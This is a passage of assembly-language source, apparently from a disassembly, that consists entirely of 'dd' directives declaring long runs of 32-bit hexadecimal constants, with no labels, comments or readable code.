		dd 0CE184806h, 7B123781h, 5F6A466h, 900C5F95h, 9DD98868h
		dd 0F18C4191h, 0CAC1B92Dh, 4AAF0040h, 3D77A1Eh,	0CA1E4580h
		dd 1AECE5h, 9AE388A2h, 70DA1690h, 5ABE9400h, 0B6A5B302h
		dd 24C148FFh, 1A05EB80h, 0B8CB94BFh, 3CF88687h,	0E1A61D70h
		dd 5CCC4E7Ch, 20434520h, 0BD006CC0h, 0D48A4A52h, 60405FD2h
		dd 0B4E6A1D8h, 0E412B8E9h, 6001585Dh, 0FCE34BEDh, 0FB8892h
		dd 47C8A196h, 88F284F7h, 1253D607h, 0D5321127h,	157C42DCh
		dd 11E50E1Ch, 5F83650Fh, 0B14C3398h, 50DA0034h,	469C5EE7h
		dd 599400F4h, 4CC645CAh, 58C89175h, 0C81180F7h,	2B63DFBAh
		dd 0F600DBECh, 954B2AEBh, 305E1C20h, 0E8D99440h, 46186221h
		dd 77A098ACh, 0E1C00A59h, 43146CF6h, 6823BE96h,	0E90738BBh
		dd 40E1E019h, 5104FA41h, 7848711Fh, 9915C028h, 98D24Eh
		dd 0CCD85508h, 198A244h, 0C5AAE66h, 20697825h, 86331443h
		dd 9C93B802h, 46B210C0h, 402F60F0h, 0B630D1EBh,	0F7F1551Ch
		dd 43851001h, 6880CDDCh, 20694B34h, 0DF0D0EB7h,	18B3CBC2h
		dd 0C65A79C0h, 807D46D1h, 0C7A4A721h, 15BE20EBh, 0C8A0A022h
		dd 0C40E895Ch, 0C0AF6ED4h, 3A05FB29h, 0ABC606BAh, 98694AEFh
		dd 10E34531h, 7D0166F2h, 0D5CC4087h, 2F26C121h,	0E03608Ah
		dd 0A362227Eh, 0CC9A703h, 104A03Ch, 53BFCDCh, 0BE47D651h
		dd 717D1470h, 18206CDCh, 88CB504Bh, 0BF3F07C5h,	43E2B1D9h
		dd 190A5FBAh, 84CC907Dh, 0D921F5E1h, 0A93F4DDCh, 85E0F8C0h
		dd 89360598h, 8018117Dh, 6C22DBECh, 662ABCA0h, 185E51C9h
		dd 79F96D7Ch, 39490DEh,	6C455A25h, 0C2B0AC22h, 18C16805h
		dd 9ADC4665h, 0D4422021h, 0BA48404Bh, 0EDD0C153h, 80B26048h
		dd 98FF0EA0h, 38C9AC23h, 9714A922h, 0F613A053h,	0ECFC0193h
		dd 209A2E2Ah, 7B1FC154h, 1700ED85h, 16C9F89Dh, 4680A0ADh
		dd 0AA7D1C52h, 3894D8EFh, 9E01C1E9h, 48140C91h,	41F11A0Fh
		dd 408AE971h, 6C4A2EFh,	0A1264BBEh, 905FD902h, 68C0793Ch
		dd 80673108h, 0DB04BA6Bh, 0D21A3BF7h, 54AE7480h, 0A45751FBh
		dd 0A07485F8h, 789EC5D0h, 1C9F03ACh, 0E048F827h, 92177102h
		dd 948C8F20h, 0B7581030h, 0C022A1E8h, 0E2D97C30h, 2648AAh
		dd 7E107D09h, 73F74823h, 307167A3h, 0DA66892Eh,	0AA0BBA00h
		dd 49D65016h, 0AF009C42h, 989C2EDCh, 8C1F49E9h,	0DC646328h
		dd 6EDD8AC0h, 0B24502C0h, 0F40E985Eh, 0D5EF7041h, 589440F8h
		dd 0A49AFFB8h, 8AE3AF00h, 0B77A782Eh, 0C44B0152h, 5496D9BAh
		dd 0A61424B9h, 0FD69B000h, 6DCD9286h, 362103EDh, 873E4F02h
		dd 0A5084800h, 0DAA3D1CFh, 0EB9F0241h, 5CE23522h, 7804A867h
		dd 0FCC03647h, 9BAECF7h, 0C7E92AC9h, 0F025014h,	29F1BCA6h
		dd 0AC4890E5h, 3A8E0BB8h, 28A37C12h, 2FA01918h,	58007F5Bh
		dd 0BDCC51D6h, 3FF1CB35h, 2EFC9BB4h, 0AFB4Ch, 5CD9979Dh
		dd 0F3006EAEh, 0CB7BD547h, 0FE26BBh, 29A4FD7Eh,	8EA76FB2h
		dd 0B319107h, 501A130h,	3194068Fh, 7F008BE3h, 4189AECBh
		dd 4AEC468Ah, 5182AF00h
		dd 9D1A5362h, 32B30793h, 8054A2E6h, 28DB9F11h, 55F760C0h
		dd 1B974Dh, 0CC8AB9BFh,	40E905F1h, 0EF202760h, 60FDF783h
		dd 108F5884h, 0E06E31Bh, 0A470BF40h, 42712231h,	832B60Ch
		dd 6D568A3h, 63875022h,	78CC2889h, 2EC293Fh, 1B7EBF7Fh
		dd 0E6637C8Fh, 5300C8EEh, 0B28BF738h, 0F0E9EB3Dh, 26E3E1BFh
		dd 3C8E8A40h, 40081E28h, 89468D0Dh, 3100E29h, 0B06104D8h
		dd 83DCFCC0h, 0DEB1251Dh, 0C25AAD0Fh, 80A755F5h, 8A93D1A0h
		dd 0A8630070h, 5EDCB206h, 77B8AB01h, 0C000AE7Fh, 5357BD79h
		dd 0A4145A64h, 0D2F128D8h, 0D4120304h, 0CEB2BFA4h, 97C51900h
		dd 472D1D3Dh, 8BED15CBh, 2902E444h, 0AC4218D9h,	9FF2E0A1h
		dd 0C641CC4Fh, 82098A05h, 0E840E42Eh, 0A4C9C50Ah, 0B94F3932h
		dd 0B86E9500h, 2ABE4D5Ah, 20692024h, 0A4355E50h, 631224C8h
		dd 9FDE8204h, 98A88ABFh, 417500D0h, 91AF1C54h, 8C9CE211h
		dd 0B3BFFC06h, 0B8EED953h, 6845E805h, 28002FB6h, 47A7652Bh
		dd 9E0E03D2h, 4D252615h, 0CBAA1109h, 1F9000Fh, 2A14174Eh
		dd 5030F7E7h, 0A8805807h, 0C77448h, 0FCEB9D79h,	4944E087h
		dd 0C500627Ch, 418E9728h, 0A0ABF7D2h, 151A2D98h, 0A039BF08h
		dd 41AC445h, 903E8384h,	0A2348140h, 5E081D00h, 7F2D9210h
		dd 5DF6000Fh, 855C672Fh, 1F3CE539h, 0BF368079h,	541B4568h
		dd 0A1A91CC6h, 21C0007h, 66FAF739h, 0D79BA805h,	0C0BF3B4Eh
		dd 628C8581h, 9E7F4F07h, 683334D9h, 28D8C8B5h, 0C5EB00BFh
		dd 0D09D3C95h, 430F2941h, 0F43D19h, 3569FB7Eh, 0A9E2002Ah
		dd 123BA3Ch, 7200673Eh,	979E473Bh, 1FFA389h, 5818A842h
		dd 0F0A157BCh, 2C1CD653h, 0A640638Ah, 0CF34FE40h, 0F097001Fh
		dd 0D5AD0B06h, 8C001D1Ah, 0A3E9DBABh, 10DEEh, 53D18326h
		dd 0F8EA3B1Bh, 0B5E2691Eh, 147BB3C0h, 9E9203h, 54F3320Bh
		dd 65F840CDh, 0DB1F7500h, 421A13AFh, 2714078Fh,	20DD1BF0h
		dd 376BEE1Eh, 0F61C4000h, 3C29D801h, 75F77E3Bh,	369400D7h
		dd 2DEE1603h, 0E6009DF1h, 478DCAFCh, 0ECCD49h, 114544FEh
		dd 9150F71h, 8808601h, 8D4626B1h, 13904D8h, 5CA50DBh, 7020F9DDh
		dd 1500134Fh, 7B22A511h, 52A95Ch, 0D5813108h, 4153E289h
		dd 373DFB02h, 40C432E7h, 0D3A948h, 8DD06768h, 0AFFF3556h
		dd 4A580A0Bh, 2DAE00E7h, 0B8D8ADh, 34F7EF89h, 40AA4D27h
		dd 0EC4F9200h, 0AFEB0DD1h, 0FFF100C0h, 50F3E1E4h, 0E0B884Bh
		dd 8FFAF221h, 0A0EFC02Eh, 0E4357DEh, 5DA39A33h,	15CD3C00h
		dd 0D8009F36h, 0EB39CF9Ch, 3AEFC4h, 8A309A2Bh, 7E60DFE9h
		dd 0BB20F800h, 987D3F19h, 8D4400A8h, 3490E8B6h,	80078BFh
		dd 9B63E288h, 1ECD0F77h, 80F01428h, 7CDFADDCh, 620027CFh
		dd 483CEFA5h, 3A1E708Dh, 618F2910h, 4180AC2Bh, 2609803Eh
		dd 79C56000h, 217AE28Ch, 5ECD0022h, 13C0B67Fh, 5F74E640h
		dd 0DEBDBE2Fh, 0B9800A3h, 70C3C149h, 9979F900h,	108E025Bh
		dd 0BCE81267h, 537B036Ch, 86B03B83h, 3D0016C1h,	0FC3FC6FAh
		dd 7C2D32DDh, 10171E7Eh, 0BBB91237h, 0A0A1A500h, 3FD1454Ch
		dd 0D205B0D9h, 8001CA28h, 0C092A48Fh, 4C528300h, 0EF871675h
		dd 0D6CB0E6Eh, 70E0E473h, 0A36D8420h, 0B85C9700h, 770F3624h
		dd 4D9B0138h, 16EF0972h, 0E56A8091h, 2BD22205h,	0D4EE46h
		dd 35877412h, 0AE839E68h, 8600C171h, 1E66E56Fh,	4D1656h
		dd 30945091h, 0B1F75EB8h, 8BDE26C0h, 32E4BCh, 58920E1h
		dd 0AA212D7Dh, 251E7E7Ah, 2941D952h, 0E7B9078Fh, 0F694C330h
		dd 44AA0074h, 7A0C37DBh, 20002571h, 0EC69D4A5h,	1D828B88h
		dd 0C7923E4Dh, 0B097934Fh, 0D7218E2Fh, 0FFF09605h, 0F000ED47h
		dd 4BE9A403h, 0AAF12ED2h, 0E450175h, 0D4F266A5h, 0E11802FBh
		dd 0E0D8521Bh, 9C4C01E3h, 0D8FDC22h, 2C2424D9h,	0F524CF0Ch
		dd 6664070h, 0C827AD0Fh, 0AF00C89Fh, 0A55F8D99h, 0F28089Ch
		dd 0C39A840Dh, 0A6DE1340h, 0FC380E34h, 0CBDF80F6h, 18E097FEh
		dd 0AAD20063h, 19A59673h, 0E0B77F36h, 106594Bh,	0F833AFD4h
		dd 307C469Ch, 0B100356Ah, 0C3CD0E32h, 1CB21Ah, 0A09C3788h
		dd 39080D76h, 21E48E00h, 9962F7FCh, 79A5EA2Eh, 647C0077h
		dd 0E5902D45h, 3D004D8Fh, 0AFC04EE2h, 928BBDB0h, 771F0E10h
		dd 802029BCh, 8E218F54h, 0B56A9B00h, 0A7367409h, 311A0042h
		dd 73A3C7ACh, 2400BE6Eh, 2AF2927Bh, 5CB694h, 0FC1AD6CAh
		dd 0C4971617h, 26CD3800h, 0AB378693h, 56F600ECh, 0CFAF402Bh
		dd 430082E4h, 8BCB3418h, 1484535Eh, 0C483708Eh,	0C004A39h
		dd 33E48C50h, 41023920h, 255B27B3h, 0DEDC48DBh,	70841F87h
		dd 0A2718095h, 0D96AE57Ah, 0A738FB3Bh, 1E7A7673h, 138540AEh
		dd 6D055E90h, 34F6DD00h, 8B9CC8AAh, 0C5970780h,	0F06A6766h
		dd 0A93BD6EFh, 4887AD1Eh, 0D9E66200h, 52E7FEh, 0B0E88CCAh
		dd 0C71955Bh, 1C05AE00h, 0ED685A67h, 7A810FDAh,	0D058383Bh
		dd 500086FAh, 698E266Eh, 3F72FF68h, 5E00D225h, 4128FD7Ch
		dd 980014FAh, 84A32D3Dh, 0B90826Eh, 4E74C89Bh, 0C4C2D280h
		dd 0B575D92Bh, 0BBC0282Eh, 904B6A1Fh, 22C9809Eh, 175FE50h
		dd 0A8326242h, 0FB6D4B2Ah, 0D914DAC8h, 43B42500h, 0E771AC48h
		dd 0B6D400E6h, 1DAF1196h, 4F1EB3BCh, 324F8AA1h,	0F36BA080h
		dd 668567h, 7E08C70Ah, 5E21746Fh, 8F03D600h, 477D5017h
		dd 0BF091D26h, 85F041C8h, 605EA2E7h, 0C1189BCEh, 8988E93Dh
		dd 0DAC0E76h, 1E074B82h, 0D41C40FEh, 3A00838Bh,	71FC667Eh
		dd 77CC30D5h, 8756C4AAh, 0A181C061h, 5BF47686h,	0C66E1307h
		dd 5DE7C521h, 8019E3F7h, 350B449Ch, 92B51CB8h, 0F924BCFFh
		dd 7EB6817Ch, 70372661h, 0E349208Ch, 93007BD8h,	8A9CE69h
		dd 3DF33C0h, 46B35BCAh,	0D0F7EA0Fh, 0AE5EA590h,	9E8B9900h
		dd 5431C232h, 0EBA05CB9h, 0CE7A4600h, 22CB61F2h, 0F87B8000h
		dd 1A918ABCh, 0A074380Dh, 8B302248h, 0A7D72DB6h, 0A6F81F39h
		dd 5C1F77D5h, 43E08F80h, 0E82B12h, 617CCD30h, 0C9DD3A9Bh
		dd 0B6004077h, 1C70D2B5h, 41A021h, 3EF10350h, 0C1A50BF7h
		dd 2F98B900h, 0EEBBA24Eh, 0E5C6006Ch, 87F105E7h, 0B10067ABh
		dd 0F5358A9Fh, 38B2114h, 0BBB8FC13h, 59A0519Bh,	103BCDAh
		dd 3E07C2ACh, 0BB29005Bh, 9C39F3C3h, 0FD00599Fh, 7C6CB7DCh
		dd 0DA0863h, 194DE60Ch,	0D9F7A496h, 0E9A5D17h, 1B7D0FAEh
		dd 9CA2F9A0h, 380790DAh, 1992CAA0h, 31EFF30h, 8F470178h
		dd 45AF16FBh, 0A1708729h, 20071C4h, 3EE5A70Ch, 0DC85F0C5h
		dd 0C21352EDh, 0F9605FB1h, 0A6003A87h, 1556F9E5h, 24BF5B9Eh
		dd 0FE1CE9Bh, 0C747AF71h, 1E74313h, 0F8235900h,	0AACB6663h
		dd 0E5C40FCAh, 7680521Ah, 1B62993Ch, 7EBD8826h,	0CE044500h
		dd 0AD6A8Ah, 0FD8CAA35h, 0E85F6252h, 9DBCD50Bh,	63678045h
		dd 0DD8468h, 0B431156h,	8A013787h, 3096B301h, 0B0F77CFAh
		dd 9534D0h, 0B94B149Ch,	0B46EB271h, 9A2FA200h, 8C720AD0h
		dd 0F310055h, 5FA9D91Eh, 0FFE818C3h, 9B482400h,	0DA92B8F0h
		dd 0A504004Ah, 58CCB70Dh, 0A0007C62h, 35901FFh,	0D03352h
		dd 26A9D897h, 0B8E8F7D4h, 7AFF9F00h, 2BC79E63h,	77570138h
		dd 496FABC5h, 1B28C067h, 508F9A07h, 6B008D1Ah, 1DD7D540h
		dd 80187232h, 0E92BC00Fh, 0B4004FD4h, 3778A819h, 0D8BDB3h
		dd 17B510D9h, 0ACFBB9CBh, 4A80C400h, 34FE9381h,	0CE720F4Eh
		dd 1C73B84h
		dd 0DD634F32h, 0A590E7F1h, 3E003367h, 0E319EAEFh, 4369F65h
		dd 0E4B39E25h, 86BC0BDh, 86FAAC85h, 407A35B0h, 0BA14D300h
		dd 0FF432191h, 0AB1A0427h, 80010E62h, 0B6D69F94h, 0E2592900h
		dd 6D7758D4h, 0EC90E027h, 7EA60095h, 0D6B485FEh, 0DF009D64h
		dd 928E18BDh, 0ACD039h,	0ADD5AE27h, 23ED9066h, 6F8C2200h
		dd 0A46271AAh, 31920039h, 0F4EB1448h, 61E8FBFEh, 97FC751Dh
		dd 8560CF87h, 94F64330h, 36BE005Bh, 6F4D41F7h, 8198B166h
		dd 1E47CA3Bh, 3007D3Ch,	5C5B63DEh, 87750023h, 0ECFD6BCCh
		dd 7300E6EFh, 0E1D4C6D8h, 29678B1h, 2187B69h, 0D7E03757h
		dd 0A8031158h, 0A05DB347h, 3C39E8E6h, 997E00FAh, 16E244DEh
		dd 0E9A03EC3h, 0C8005C95h, 39CDE41Dh, 78FE58h, 429ADDF5h
		dd 8348F07Ah, 6A4E1203h, 78EDF1C6h, 6D190058h, 35F7849Ah
		dd 243AAF4Ah, 0D99E93B5h, 0AAABB400h, 3B26A35Dh, 0E800B8D5h
		dd 0A6121764h, 0B6011C3Dh, 0EC5B7FA8h, 966052D6h, 9B7FE6h
		dd 2232669Fh, 4C6E7172h, 57F1AE03h, 0D02A870Ah,	0ED9859h
		dd 0D37D85E0h, 801EBD53h, 0A303FCE6h, 222AC271h, 0E5EFB9Fh
		dd 0C9232F18h, 0BD6ABBC0h, 6C0CF32Dh, 208BBED1h, 0C147B831h
		dd 0C0F8F546h, 0E9BC4064h, 0BF18F4C8h, 2B0890C4h, 88FE171Ch
		dd 5DCE0961h, 4CD1DF83h, 80B687B1h, 47445269h, 0D85DA084h
		dd 0E31C6858h, 8F424300h, 65857C87h, 0F8F10329h, 4AA08027h
		dd 5F180CCDh, 2F4CBD88h, 303802C3h, 818A461Ah, 0F8FA2310h
		dd 7D15CE4h, 79E149F3h,	0E7EECFCCh, 64805720h, 300517Ah
		dd 3D3F9ABCh, 0C67EFCh,	29BFAF81h, 0EEFF46E9h, 779C6407h
		dd 0C580C4F1h, 0E63F9030h, 24EDE03Eh, 0A58434h,	0D54B0FC8h
		dd 0C61E2B52h, 6000FF9Ch, 0BC6EAFFEh, 0AAD6077Bh, 0B0F26A8Dh
		dd 87C414F0h, 1800AD7Bh, 70454ECBh, 1FB7EA7Fh, 81521FD9h
		dd 1078CE9Ch, 0B6E7DC16h, 52AD332Eh, 0E6007413h, 89E472B3h
		dd 7D97791Eh, 0A80E51A3h, 1404F8A3h, 47AB0C29h,	0A0BE8E30h
		dd 0C873AA0Ch, 147B0185h, 9DCCC320h, 515CF12Ch,	8D04C0Ch
		dd 4843866Bh, 8A721310h, 43A62410h, 1872861Ch, 7718A27Ch
		dd 51841158h, 421AA30Ch, 0F4188018h, 0A80CA013h, 0F14384DAh
		dd 3295B421h, 48F02A3Ch, 5C106743h, 3CB88AD5h, 68195898h
		dd 0CA54241Dh, 12F600F0h, 228D3C4Dh, 0CE186912h, 2380705Fh
		dd 0C51CFACBh, 2431EA81h, 0A0C922h, 0FC7B2B1Eh,	2F3C6E1Ah
		dd 30F03AD3h, 450A39FEh, 0DB850A9Eh, 12C87F4Ah,	7AD2020Dh
		dd 8C08BA8h, 0B500E860h, 0A9B3DCC9h, 7FB68E4Fh,	39291868h
		dd 33CA68C2h, 0B2001274h, 751E50F5h, 0E2442527h, 0DAA0E94h
		dd 0F4214256h, 503F821Bh, 92DC64Ch, 7380D9C7h, 0F2C852E0h
		dd 5075F62Ch, 35DCCA8h,	9A799853h, 0C0852B26h, 75D3819Bh
		dd 462AD600h, 0BE8AC56Bh, 87492C86h, 1A1E00A9h,	0C90DC6A2h
		dd 24E16515h, 4B30821Ch, 0F3B01C6Ah, 290AF000h,	0A9FE2BA8h
		dd 0C61B3AA3h, 0B088BB0Ah, 3A3754C0h, 62A76856h, 0A8532A40h
		dd 0A9C51871h, 293F29CAh, 7FF7D307h, 0D9A0861Eh, 79740Bh
		dd 5ADB8863h, 4DD2F097h, 5C25F429h, 43409B8Fh, 0C888C39Ah
		dd 8FBF6Ah, 0FC72E43Bh,	0ABEC7BB9h, 0DC418C02h,	0C088827Fh
		dd 2425708h, 60CB2B47h,	0C044D8BEh, 2D24A090h, 2A92301Ah
		dd 0FE121000h, 30DF75B9h, 4629A57Fh, 0C57178ADh, 2A9CCD03h
		dd 10127BD2h, 0EC871BB0h, 2FC58DB1h, 544C38h, 594B887Ah
		dd 0E5BB521Ah, 5C3929E2h, 0F041037Fh, 0A0371C95h, 6556925h
		dd 0EC9C9BD4h, 413A08CBh, 3A7F8209h, 80C1AE80h,	4D271818h
		dd 0E8527F82h, 0F96B0040h, 649CA219h, 3901468Ah, 433FBAAAh
		dd 388E62C2h, 2AA0B907h, 12895A38h, 40342F1Eh, 3E746480h
		dd 0C096B343h, 83F1EC70h, 5200CB8Ah, 0A3C1A5Bh,	30E20C85h
		dd 15809FDCh, 801D3EC8h, 90314BA1h, 0B980BCB1h,	5BA70616h
		dd 3937778Eh, 0C797309Dh, 82A80CA0h, 0C577AFh, 1F7F3222h
		dd 31D4BB7Ch, 0F1014003h, 0C0A9B773h, 0F2641F8h, 0A18D6D55h
		dd 11FBDDC0h, 56701F87h, 0F0A9F163h, 7F980019h,	0DC16DC2h
		dd 5D3C84A6h, 1E8380EDh, 3DFE9CE9h, 0AF02385Ah,	50874FB9h
		dd 0D028B3C7h, 6F574D84h, 0F1443357h, 0CC50959Dh, 72EA378Bh
		dd 0C0BF007Bh, 4D46D9EBh, 0A90057B6h, 0B15290F2h, 5A0F4Bh
		dd 9B93A0FEh, 0E92E0872h, 0B76A81Fh, 0F6DDC80h,	1863C98h
		dd 0BF10E28Fh, 2067BA9Bh, 1100D508h, 35AAA230h,	0EFB913h
		dd 98154DA7h, 0E99BBE66h, 20883C60h, 0F2C1EBh, 27FB5F3Fh
		dd 216B1A40h, 0C184AA52h, 0EE1E9EF9h, 61202021h, 47994CEDh
		dd 0C7FA4B03h, 0B1C84094h, 2E00157Ch, 0C04DD09Dh, 7EFF8069h
		dd 2717736h, 0D9C947BAh, 84A1B1E7h, 0D0EEE59Ch,	0F5000387h
		dd 0C11FE64h, 0A015D0Ah, 1DD37FEFh, 54E74FD0h, 480CC0C5h
		dd 0A244B20h, 81576404h, 0BE379E04h, 4DC84067h,	323EFD74h
		dd 0E11803F3h, 0F8E97D21h, 0A3A7C1h, 0A4C654D8h, 0E5D14EB1h
		dd 0AB0C3048h, 57C54706h, 9DE4D80Bh, 8004B748h,	16F3A3B8h
		dd 14E0E84Dh, 0FCEB230Ah, 0D99E00AEh, 0B1A5CE4Ah, 5F7F294Fh
		dd 0E33A00F4h, 0A101E497h, 8017FD29h, 8A1E4A67h, 305E44B1h
		dd 8A79EBCEh, 0FD32AD34h, 0B168E05Ah, 904C4DC4h, 0C5810423h
		dd 0D1D26926h, 306D7518h, 638AEA7Ch, 5B2021A5h,	0B04CE310h
		dd 2B401160h, 10A0CA0Bh, 7FF025D8h, 1C6C3C92h, 0C178EEh
		dd 2E3E97DDh, 50E11634h, 0E5F08564h, 0C4D54081h, 0B0C2B308h
		dd 819EFD62h, 0C56E90DCh, 47FB4081h, 984DCC9Dh,	49483CD8h
		dd 0E9CA486h, 0D3F1037Ah, 8B028455h, 6E9C6470h,	0B07F3EE0h
		dd 38C02E50h, 9F9D4609h, 3C00114Eh, 571ADC41h, 20A8C9B0h
		dd 0C03D709Eh, 84A41FA0h, 752C262Ch, 0D2FE700h,	0C1AD4555h
		dd 0E032168h, 0EDB6E0C3h, 0BBA2DF03h, 0C0310830h, 0F498A0h
		dd 0BAD0E320h, 63C154C7h, 912A831Dh, 2E7DCFh, 7C6D645h
		dd 0C1589D41h, 19BA5919h, 2180D208h, 0CD05B276h, 7800E1F2h
		dd 4E95885Bh, 7CE2B644h, 0F9C80342h, 19AD4167h,	13464FC0h
		dd 1BE72C00h, 3657543Dh, 0AAC4180Ch, 82B651DFh,	95197000h
		dd 7D0363ACh, 0F9960C8Dh, 6B21877Ch, 0BE195700h, 0BA6F47E7h
		dd 0D89A3016h, 73FFC9CAh, 0F9826401h, 347BE4B5h, 0EACA8881h
		dd 0F90A3216h, 58DEC8C8h, 8CE4B22Ah, 44F9E203h,	147166Bh
		dd 0BD3823B9h, 7070D9C0h, 0A3714224h, 21C0FFE8h, 4CBD8004h
		dd 58DF3AFEh, 217F6D00h, 0B60DF1D5h, 0EF43E400h, 326B2E93h
		dd 55E500D6h, 0A9649486h, 0C4000745h, 352144EAh, 0B341D3h
		dd 503CAE4h, 0E3732611h, 0FDD05600h, 3DAA5C3Bh,	445B0748h
		dd 3099965Fh, 77FE6A97h, 0F4538800h, 923EAA29h,	0D77106h
		dd 38AF15C0h, 0AD441281h, 7A1E5972h, 2044A65Eh,	3987DFF9h
		dd 70F36B70h, 3F1AE8BAh, 6A1F1337h, 0D1F54766h,	0C45C0092h
		dd 7001EE7Fh, 0AB39F3FBh, 0A7F57C6Ch, 93DDE0DFh, 13A40014h
		dd 2D06F14Eh, 6D002A04h, 0BBD7C868h, 8937E2h, 994A5D42h
		dd 7A701C52h, 0E3546D00h, 8B6B4FDAh, 8CE0098h, 77293525h
		dd 0DD506641h, 73986C93h, 0F603EF0h, 0EDF3EB19h, 742A0029h
		dd 379A8B3h, 443C17B6h,	0C2D203F4h, 6BBE2Fh, 3DA52838h
		dd 0E59E896Dh, 7F495600h, 0BB4174BCh, 0D34718B4h, 775E30D4h
		dd 0B7D9E481h, 609E58C0h, 0D8A4713Ch, 81C73BB5h, 92D3BA17h
		dd 0F5300078h, 27C04F19h
		dd 3600815Bh, 1AF7584Bh, 2A383D8h, 0A4528420h, 24E097E0h
		dd 6C035B72h, 88B8BCE4h, 1460BE62h, 201A76D4h, 4E73A84h
		dd 101D85A0h, 4280F680h, 14DA8407h, 6041E00Ch, 0C440C853h
		dd 0FA707454h, 0A30C8272h, 88848340h, 982080CFh, 0A1BF908Dh
		dd 0AC571F9Ah, 0C2B9881Ah, 1DE3C4B1h, 317EE843h, 0A0508B40h
		dd 0C48C4A78h, 5A72D547h, 2B912085h, 0BE04118Ch, 88E07AC6h
		dd 8882C029h, 40513F59h, 0C2057EEh, 8040C511h, 10842B79h
		dd 4198BFA4h, 8340D53Ah, 6280A52Ah, 4099C197h, 80EC51DAh
		dd 0C5804A2Bh, 4030EA0Ch, 0AC0D4FAh, 7D4B80A4h,	11981984h
		dd 2008BFB1h, 332037BDh, 8D8402E8h, 8C869C41h, 18C31708h
		dd 0D8C17DE0h, 0D600821h, 0A1A85452h, 9A1CDBB7h, 54CB4D24h
		dd 60D85218h, 0D09C92E3h, 0ACA8B050h, 0BA18E047h, 3DA050D3h
		dd 0A6098283h, 20080CF8h, 80120E60h, 480C81AFh,	6E40C08Ah
		dd 778D18ACh, 2019C309h, 0A008FEE0h, 62987CDFh,	69600899h
		dd 3116E003h, 80488819h, 35099478h, 47DFACF0h, 0F45A09D9h
		dd 845028C6h, 0B1F452BDh, 7A1CE2D4h, 0C07027E5h, 8D32D50Bh
		dd 9911C7F4h, 88BAE47Fh, 60AD91FCh, 9F19BF81h, 0F0244C07h
		dd 8154AD86h, 0C2503D5Ah, 83E42448h, 0E86050A7h, 31CE2D42h
		dd 0B97055F8h, 72C0C81Fh, 80245156h, 4C7303CCh,	5A38C6FBh
		dd 802B78E1h, 31634063h, 390C978Eh, 53731C7Ah, 49812A4h
		dd 0DF5CA04Ch, 48130300h, 11FEB40Fh, 326E1A40h,	0BE6409B8h
		dd 32730CB0h, 3A81C109h, 40E83063h, 0D2405110h,	3E2008BCh
		dd 988C2024h, 0F0C46595h, 30FB63B5h, 0DA58FF10h, 40D04EBFh
		dd 1894A888h, 0D1F17919h, 0BFF5A5FAh, 0C7845770h, 9DD6AB2Bh
		dd 629A74C9h, 4758F85Ch, 440D80BCh, 71BA3F4Ch, 31D374D1h
		dd 0C008B830h, 20488AB2h, 0C2D9785Dh, 0C287D9F8h, 56615A81h
		dd 0B378D50Fh, 0D2BAE9E1h, 127A398Ch, 78AF6078h, 9EC31D01h
		dd 1864DE85h, 4030C2EAh, 78B4510Eh, 0DBB14005h,	20D36155h
		dd 0A66937EFh, 510B0208h, 0A30574B4h, 95EDD3Bh,	0C4051491h
		dd 748160F8h, 792019BEh, 89CA405Dh, 3E084008h, 0DD83059Ch
		dd 93D23AD9h, 5070F81Ch, 31A01640h, 0C3984EC8h,	9488A50h
		dd 0FDF08C51h, 0C3177FABh, 0C1A89AA1h, 5FED40F1h, 0CECB068Ch
		dd 373995E0h, 96802CBAh, 2020903Fh, 9D603336h, 21197B09h
		dd 0D710C3E1h, 0DF029C5Fh, 0D6C4E179h, 80145A03h, 0AFC0A0B9h
		dd 51288190h, 312F848h,	2ED0987Ah, 0E45A3AFAh, 11181A0Fh
		dd 61E3A03h, 5541DAE0h,	8103BAE4h, 2DC43746h, 8F17B0D0h
		dd 8D03009Ch, 0B0356CE4h, 6E182CF7h, 7A48C94Dh,	1038DD8Fh
		dd 5EB7F0D6h, 6DCA4484h, 70DE9B31h, 898E334h, 7E3A4037h
		dd 0CF2E8787h, 0D80B891h, 9A42CE73h, 8D360C0h, 0FA41BEA5h
		dd 0C68493Ah, 906C1D5Ah, 2DFE036Eh, 2E03FC9Ah, 0E3A8F0E1h
		dd 0F07698E1h, 5656DF3Ah, 1E1C8178h, 0FE17826Fh, 767A78D8h
		dd 64FA08C3h, 0A3B831C4h, 869EBA80h, 0B008DA08h, 0E86A7698h
		dd 0B1953C5Ah, 0BA093A31h, 8C9A01A2h, 0C7C91A00h, 998D10C8h
		dd 84318Eh, 0C0C8D7DAh,	2E169710h, 19507A9Ah, 8DE7FE0h
		dd 101C830Ch, 0FA08CE84h, 18CC1B0Ah, 245A0823h,	41811C8h
		dd 81C731Ah, 38DA0C94h,	41CA2721h, 3A079C11h, 5A41FD60h
		dd 19BC0169h, 0F3628F40h, 0F43108h, 0BA2E22E2h,	2824F131h
		dd 588C1784h, 0FB0818ACh, 6D9A58C6h, 3A7A37B0h,	15A63318h
		dd 0D8323832h, 0D704865Ah, 801A2020h, 0A1CC4AE8h, 629A10A3h
		dd 213A08EFh, 5A038724h, 0B019A6C9h, 0E258061Dh, 34FAF042h
		dd 6AC04804h, 0CD07F810h, 0A4142825h, 0FE5A03E4h, 0E239569Eh
		dd 3EDC85D1h, 2677A849h, 73F85F2Ch, 0BAB0C6FAh,	3A12C06Fh
		dd 687956CEh, 448C21E0h, 9DFBED7Bh, 68E43A78h, 418FB987h
		dd 31CB9E43h, 0DA08B010h, 26FA0023h, 0A410CAC6h, 0C7103EB8h
		dd 0AB4C1415h, 0DED419C8h, 4D27B98h, 1AB4801Dh,	0D49356D2h
		dd 711CD8C0h, 0E0FE41A2h, 0F8CCCE6Dh, 243A0836h, 157439DAh
		dd 2937807Ah, 9FD3B470h, 0ADF304A4h, 955D6D97h,	0B844B419h
		dd 0E04448FAh, 748C48Ch, 1A35C278h, 0C4860805h,	0C3332021h
		dd 0C28F96Fh, 315A1099h, 2FA0B494h, 88388A92h, 0BB0CC072h
		dd 6607F065h, 10C7386Ch, 8305A30h, 8136EAFAh, 3B8511B0h
		dd 203CBA01h, 11C8ACE4h, 0A9013E79h, 0E759568Ch, 0A899D089h
		dd 28F908C2h, 331440A0h, 2220CD9Dh, 9E67F008h, 91DA28C6h
		dd 8E813178h, 4147BD90h, 9894FDF0h, 1A20BFA8h, 48976556h
		dd 0D0F4461Bh, 0E428D8CCh, 386298C9h, 40DC9219h, 0C4D9440Ch
		dd 9AF4F18h, 0EE38A6FEh, 0A51A3318h, 19625F09h,	0F78FA09h
		dd 0BA0C7488h, 3E3A408Eh, 617EAD29h, 609A0824h,	183080B3h
		dd 347956A3h, 33E0CCA4h, 0F44D3908h, 6FF02054h,	660509BAh
